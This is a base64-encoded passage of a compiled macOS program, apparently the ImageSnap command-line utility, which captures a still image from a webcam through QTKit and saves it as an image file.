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33ITIn66CMcAACEwHUHMdvpvAMAAIA9VzgAAAB0KYA9TzgAAAB1IEiLBS0wAABIiwhIjT2mJQAAvhAAAAC6AQAAAOjaGwAASIXbdTWAPSA4AAAAD4QVAQAAgD0UOAAAAA+FCAEAAEiLHe4vAABIiwtIjT14JQAAvhgAAADp4wAAAEiLNSs0AABIid/onRsAAIA93DcAAAB0IYA91DcAAAB1GEiLBbIvAABIizhIjTVVJQAAsAHoVRsAAEiLPSo1AABIjTXrNAAA/xXlNAAASIs1fjQAAEiJxzDA6E4bAABJicdIizW6MwAASIs98zQAADDA6DYbAABJicRIizWyMwAASInf6CQbAABIizWLMwAAsAFMif/oExsAAEiLNXIzAABMiedIicLoARsAAEiNNUA0AABMif//FTc0AACAPTA3AAAAdCmAPSg3AAAAdSBIix0GLwAASIsLSI09ziQAAL4RAAAAugEAAADosxoAAGYP78DyDxBN0GYPLsgPhikCAACAPes2AAAAdCWAPeM2AAAAdRxIix3BLgAASIs7SI01myQAALABZg8owehgGgAASIs9nTQAAEiNHfYzAABIid7/Fe0zAABIizWGMwAASInHMMDoVhoAAEiJRcBIizWpMgAASI0VCjYAAEiJx+g8GgAAMdtMizVhLgAA62JJizZIjT3CJAAA6BAaAABIizWRMgAASIs9yjMAADDA6A0aAABJicRIizVxMgAATIn/8g8QRdCwAej0GQAASIs1UzIAAEyJ50iJwujiGQAATIn/SI01HjMAAP8VGDMAAEj/w0iLPYYzAABIjQVHMwAASInG/xU+MwAASIs11zIAAEiJxzDA6KcZAABJicdIizXzMQAASIt9wEyJ+jDA6I8ZAACKDc81AACEyUmJxHQmgD3CNQAAAHUdSYs+MMBIjQ3XIwAASInOSIna6EQZAACKDaI1AACEyXQxgD2YNQAAAHUoSIs1ljEAAEyJ5zDA6D4ZAABJiz5IjQ2vIwAASInOSInCMMDoCRkAAEyLLU4zAABIizVnMQAATInnMMDoDxkAAEiLNU4xAABMie9IjQ3kNAAASInKSInZSYnAMMDo7hgAAEmJxEiLNSIxAABIi33IMMDo2RgAAEiFwA+En/7//0iLNf8wAABIiz3IMgAASInCTInh6LcYAACAPfc0AAAAD4WI/v//SIs18TAAAEyJ5zDA6JkYAABIjT0pIwAASInGMMDooBgAAOlh/v//SIs1ujAAADDATIt9yEyJ/+huGAAASInDSIs1kjAAAEyJ/+hcGAAASI01mzEAAEiLfcj/FZExAABmD+/A8g8QTdBmDy7IdgSwAesiSIXbdQQwwOsZSIs1XjAAAEiLPScyAABIidpMifHoFhgAAA++wEiDxBhbQVxBXUFeQV9dw1VIieVIizWHMAAARTHJ6PEXAAAPvsBdw1VIieVIizV3MAAARTHA6NkXAAAPvsBdw1VIieVBV0FWQVRTSInLSIs1hTAAADDASInX6LUXAABJicZIizVpMAAASI09ajIAALkBAAAASIna6JcXAABJv/////////9/TDn4D4WNAQAASIs1OzAAAEiNPVwyAAC5AQAAAEiJ2uhpFwAATDn4D4VpAQAASIs1FzAAAEiNPVgyAAC5AQAAAEiJ2uhFFwAASb//////////f0w5+HUgSIs17S8AAEiNPU4yAAC5AQAAAEiJ2ugbFwAATDn4dFBIix0dKwAASIsbTIs98zAAAEiLNbQvAABIiz3tMAAA8w8QBeUXAACwAejoFgAASIs1jy8AAEyJ/0iJwkiJ2TDA6NEWAABBvwMAAADpmgAAAEiLNX0vAABIjT3+MQAAuQEAAABIidroqxYAAEm8/////////39MOeB0CjHAQb8EAAAA62ZIizVJLwAASI096jEAAEG/AQAAAEiJ2rkBAAAA6HEWAABMOeB0BDHA6zxIizUfLwAASI094DEAALkBAAAASIna6E0WAABJv/////////9/TDn4dQoxwEG/AwAAAOsIMcBBvwIAAABIicNIizXILgAASIs9GTAAAEyJ8jDA6BEWAABIizWoLgAASInHTIn6SInZMMDo+hUAAEmJxkyJ8FtBXEFeQV9dw1VIieVBV0FWU0iD7AhIictJidZIizW3LgAASInfMMDoxxUAAEiLNZ4uAABIiz2/LwAATInySInBMMDorBUAAEiF20mJxnQbSI09QzEAAEiNNewuAABIidr/FeMuAACEwHRXSI01+C4AAEyJ9/8V7y4AAEiJw0iLNUUuAAAwwEyJ9+hlFQAASIXbdB5MizWPKQAASYnHQQ++P0mLNuhoFQAASf/HSP/Ldey4AQAAAEiDxAhbQV5BX13DSIs1+S0AADHJTIn3SIna6B4VAAAPvsDr3FVIieVBV0FWQVVBVFNIgezYAAAASImVCP///0iLNe0tAABIiz32LgAAMMDo6RQAAEiJhRD///9Ix4UY////AAAAAEjHhSD///8AAAAASMeFKP///wAAAABIx4Uw////AAAAAEjHhTj///8AAAAASMeFQP///wAAAABIx4VI////AAAAAEjHhVD///8AAAAASI016S0AAEiNlRj///9IjY1Y////QbgQAAAASInH/xXMLQAASIXAdRcx20iJ2EiBxNgAAABbQVxBXUFeQV9dw0iLnSj///9IixtIiZ0A////SYnGMdsxwEmJx0iLhSj///9Ii40A////SDsIdA4wwEiLvRD////oCBQAAEiLhSD///9OiyT4TIstUi0AAEiLNeMsAAAwwEyJ5+jrEwAASIu9CP///0iNNTMtAABIicJB/9VJ/8eEwHQDTInjTTn3cplIi70Q////SI01IC0AAEiNlRj///9IjY1Y////QbgQAAAA/xUGLQAASIXAD4Q4////SYnG6Vv///9VSInlSIs1giwAAEiLPWMtAABIiwWUJwAASIsQMMDobBMAAEiFwHUfSIs1XiwAAEiLPT8tAABIiwVoJwAASIsQMMDoSBMAAF3DVUiJ5VNIg+wISIs1TCwAAEiLPQ0tAAC6AwAAADDA6CMTAABIicNIizUnLAAASIs9+CwAAEiLBSknAABIixAwwOgBEwAASIs1ACwAAEiJ30iJwujvEgAASIs19isAAEiLPccsAABIiwXwJgAASIsQMMDo0BIAAEiLNc8rAABIid9IicLovhIAAEiJ2EiDxAhbXcNVSInlQVdBVlNIg+wISInLSYn+gD3gLgAAAHQdgD3YLgAAAHUUSIsFtiYAAEiLML8uAAAA6GMSAABIhdt1HYA9tS4AAAB0CYA9rS4AAAB0REiDxAhbQV5BX13DSInf6BsSAABMiffoVRIAAEiLBbgpAABOizwwSokcMEyJ9+hEEgAATIn/SIPECFtBXkFfXenkEQAASIsdRyYAAEiLC0iNPS4ZAAC+FgAAALoBAAAASIPECFtBXkFfXenqEQAAVUiJ5UFXQVZTSIPsCEiJ00mJ/oA9Ii4AAAB0KYA9Gi4AAAB1IEiLBfglAABIiwhIjT3GGQAAvhwAAAC6AQAAAOilEQAASIXbdUGAPestAAAAdQoww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cAPhdEAAADpnP7//4P4a38Og/hoD4XcAAAA6a/+//+DwJSD+AsPh8sAAADprv7////DRDn7D40V////SGPDSYsUxkyLLT4dAABIizXfGgAASIs9aB0AADDA6DMDAABIizWyGwAASInH6CQDAABIizWjGgAATInvsAHoEwMAAEiJRcDrcv/DRDn7D42h/v//SGPDSYsUxkyLLeocAABIizWLGgAASIs9FB0AADDA6N8CAABIizVmGgAASInH6NACAABIizV/GwAATInvsAHovwIAAEiJRcjrHkmJxOsZSIs1SxoAAEiLPdQcAAAwwOifAgAASIlF0P/DRDn7D4xv/v//SIN90AB1VoA9yB4AAAB1DUiNBR8dAABIiUXQ60CAPbMeAAAAdepIizWxGgAASI0FAh0AAEiJRdBIiccwwOhOAgAASIsNdRYAAEiLOUiNNewPAABIicIwwOgVAgAATYXkdWdIizWlGQAASIs9JhwAADDA6BkCAABJicSAPVUeAAAAdEaAPU0eAAAAdT1IizXrGgAATInnMMDo8wEAAEiLNToaAABIiccwwOjiAQAASIsNCRYAAEiLOUiNNaEPAABIicIwwOipAQAATYXkdSFMiyXpFQAASYs0JEiNPWIMAADomQEAALgCAAAA6agAAACAPeEdAAAAdTNIizV/GgAATInnMMDohwEAAEiLNc4ZAABIiccwwOh2AQAASI09Xg8AAEiJxjDA6H0BAABIizXsGQAASIs9XRsAAEyJ4kiLTdBMi0XITItNwOhDAQAAhMB0LoA9fx0AAAB1O0iLNX0ZAABIi33QMMDoJAEAAEiNPbQLAABIicYwwOgrAQAA6xZIiwU4FQAASIswSI09Ew8AAOjpAAAAMcBIg8QYW0FcQV1BXkFfXcNf/P//T/7//0/+//9P/v//T/7//1P8//9P/v//T/7//4n9//9P/v//R/z//939//9VSInlQVdBVlNIg+wISInzQYn+6HIAAABIiz3RGgAASI01GhoAAP8VFBoAAEiLNa0ZAABIiccwwOh9AAAASYnHSIs1IRgAAEiLPaoaAAAwwOhlAAAARIn3SIne6D/7//+Jw0iLNfcXAABMif/oSQAAAInYSIPECFtBXkFfXcP/JYQUAAD/JYYUAAD/JYgUAAD/JYoUAAD/JYwUAAD/JY4UAAD/JZAUAAD/JZIUAAD/JZQUAAD/JZYUAAD/JZgUAAD/JZoUAAD/JZwUAAD/JZ4UAAD/JaAUAAD/JaIUAAD/JaQUAABoAAAAAOmiAAAAaBcAAADpmAAAAGgtAAAA6Y4AAABoRgAAAOmEAAAAaGgAAADpegAAAGh1AAAA6XAAAABohQAAAOlmAAAAaJMAAADpXAAAAGihAAAA6VIAAABosAAAAOlIAAAAaNEAAADpPgAAAGjmAAAA6TQAAABoAQEAAOkqAAAAaBkBAADpIAAAAGgwAQAA6RYAAABoPwEAAOkMAAAAaEwBAADpAgAAAAAATI0daRMAAEFT/yVZEwAAkAAAAAAAAPC/mpmZmZmZuT9mZmY//5spAycAAAAAIQUAAAAAAAAAIQUAAAUAAADKBQAAACYFAAC3AAAAAAAAAAD/m5wAAxpaAAAACAAAAI0BAAAAYgAAAD4BAAAAAAAAAGRlZmF1bHRWaWRlb0RldmljZQBudW1iZXJXaXRoRG91YmxlOgBmbG9hdFZhbHVlAGRldmljZU5hbWVkOgBzdHJpbmdXaXRoVVRGOFN0cmluZzoAZHJhaW4Ac2hhcmVkQXBwbGljYXRpb24Ac3RhcnRSdW5uaW5nAGFkZE91dHB1dDplcnJvcjoAc2V0RGVsZWdhdGU6AGFkZElucHV0OmVycm9yOgBpbml0V2l0aERldmljZToAb3BlbjoAZGV2aWNlAGlzUnVubmluZwBzdG9wUnVubmluZwBhZGRSZXByZXNlbnRhdGlvbjoAaW5pdFdpdGhTaXplOgBzaXplAGltYWdlUmVwV2l0aENJSW1hZ2U6AGltYWdlV2l0aENWSW1hZ2VCdWZmZXI6AGRhdGVXaXRoVGltZUludGVydmFsU2luY2VOb3c6AHN0b3BTZXNzaW9uAHNhdmVJbWFnZTp0b1BhdGg6AHNuYXBzaG90AHN0cmluZ1dpdGhGb3JtYXQ6AFVURjhTdHJpbmcAc3RyaW5nRnJvbURhdGU6AHNldERhdGVGb3JtYXQ6AHJ1blVudGlsRGF0ZToAZGF0ZUJ5QWRkaW5nVGltZUludGVydmFsOgBjdXJyZW50UnVuTG9vcABzdGFydFNlc3Npb246AGRvdWJsZVZhbHVlAHNhdmVTaW5nbGVTbmFwc2hvdEZyb206dG9GaWxlOndpdGhXYXJtdXA6d2l0aFRpbWVsYXBzZToAc2F2ZVNpbmdsZVNuYXBzaG90RnJvbTp0b0ZpbGU6d2l0aFdhcm11cDoAcmVwcmVzZW50YXRpb25Vc2luZ1R5cGU6cHJvcGVydGllczoAaW1hZ2VSZXBXaXRoRGF0YToAZGljdGlvbmFyeVdpdGhPYmplY3Q6Zm9yS2V5OgBudW1iZXJXaXRoRmxvYXQ6AHJhbmdlT2ZTdHJpbmc6b3B0aW9uczoAVElGRlJlcHJlc2VudGF0aW9uAHdyaXRlVG9GaWxlOmF0b21pY2FsbHk6AGJ5dGVzAGRhdGFGcm9tOmFzVHlwZToAcGF0aEV4dGVuc2lvbgBkZXNjcmlwdGlvbgB2aWRlb0RldmljZXMAZGVmYXVsdElucHV0RGV2aWNlV2l0aE1lZGlhVHlwZToAYWRkT2JqZWN0c0Zyb21BcnJheToAaW5wdXREZXZpY2VzV2l0aE1lZGlhVHlwZToAYXJyYXlXaXRoQ2FwYWNpdHk6AGRlYWxsb2MAaW5pdABhdXRvcmVsZWFzZQByZWxlYXNlAGlzRXF1YWxUb1N0cmluZzoAY291bnRCeUVudW1lcmF0aW5nV2l0aFN0YXRlOm9iamVjdHM6Y291bnQ6AGxlbmd0aABhbGxvYwBpc0VxdWFsOgBjb3VudABzbmFwc2hvdC5qcGcASW1hZ2VTbmFwAGM0OEAwOjhAMTZAMjRAMzJANDAAYzQwQDA6OEAxNkAyNEAzMgBzYXZlU2luZ2xlU25hcHNob3RGcm9tOnRvRmlsZToAYzMyQDA6OEAxNkAyNABAMzJAMDo4QDE2QDI0AEAyNEAwOjhAMTYAQDE2QDA6OABjYXB0dXJlT3V0cHV0OmRpZE91dHB1dFZpZGVvRnJhbWU6d2l0aFNhbXBsZUJ1ZmZlcjpmcm9tQ29ubmVjdGlvbjoAdjQ4QDA6OEAxNl57X19DVkJ1ZmZlcj19MjRAMzJANDAAYzI0QDA6OEAxNgB2MTZAMDo4AG1DYXB0dXJlU2Vzc2lvbgBAIlFUQ2FwdHVyZVNlc3Npb24iAG1DYXB0dXJlRGV2aWNlSW5wdXQAQCJRVENhcHR1cmVEZXZpY2VJbnB1dCIAbUNhcHR1cmVEZWNvbXByZXNzZWRWaWRlb091dHB1dABAIlFUQ2FwdHVyZURlY29tcHJlc3NlZFZpZGVvT3V0cHV0IgBtQ3VycmVudEltYWdlQnVmZmVyAF57X19DVkJ1ZmZlcj19ACduaWwnIEZyYW1lIGNhcHR1cmVkLgoAVGFraW5nIHNuYXBzaG90Li4uCgBTbmFwc2hvdCB0YWtlbi4KAFN0b3BwaW5nIHNlc3Npb24uLi4KAAlDYXB0dXJlU2Vzc2lvbiAhPSBuaWwKAAlTdG9wcGluZyBDYXB0dXJlU2Vzc2lvbi4uLgBEb25lLgoAW21DYXB0dXJlU2Vzc2lvbiBpc1J1bm5pbmddAAlTaHV0dGluZyBkb3duICdzdG9wU2Vzc2lvbiguLiknAHRpZgB0aWZmAGpwZwBqcGVnAHBuZwBibXAAZ2lmAFN0YXJ0aW5nIGNhcHR1cmUgc2Vzc2lvbi4uLgoACUNhbm5vdCBzdGFydCBzZXNzaW9uOiBubyBkZXZpY2UgcHJvdmlkZWQuCgAJU3RvcHBpbmcgcHJldmlvdXMgc2Vzc2lvbi4KAAlDcmVhdGluZyBRVENhcHR1cmVTZXNzaW9u